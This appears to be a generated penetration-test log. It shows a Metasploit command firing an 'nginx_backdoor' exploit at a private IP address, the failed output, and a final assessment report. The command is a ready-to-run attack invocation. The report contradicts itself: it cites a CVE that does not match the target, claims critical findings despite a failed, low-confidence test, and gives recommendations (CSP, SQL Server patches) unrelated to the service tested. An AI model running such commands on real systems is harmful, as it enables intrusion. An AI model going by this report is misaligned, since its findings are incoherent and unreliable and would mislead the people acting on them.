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Tool: Metasploit Framework 6.1
Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 10.137.201.82; set RPORT 80; exploit"
Output:
[*] Started reverse TCP handler on port 80
[*] Attempting to exploit using linux/http/nginx_backdoor...
[-] Exploit failed: Connection reset by peer
[*] Analysis:
- Attempted to exploit known vulnerabilities:
- Insecure Configuration (CVE-2020-14750)
- Information Disclosure (CVE-2022-15284)
- Network-level blocking or intrusion prevention system detected the attack
[*] Recommended next steps:
- Research alternative exploits for the same service or pivot to other attack vectors
- Verify service version and patch level
- Try manual exploitation techniques
=== Final Assessment ===
Overall Risk Rating: Medium
Confidence Level: Low
Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation
Key Findings:
- 2 critical vulnerabilities identified
- 1 high risk issues found
- System configuration needs hardening
Recommendations:
1. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring.
2. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
3. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
Next Steps:
- Address critical vulnerabilities within 24 hours
- Remediate high risk findings within 7 days
- Schedule retesting after fixes are implemented
- Conduct developer security training focusing on OWASP Top 10
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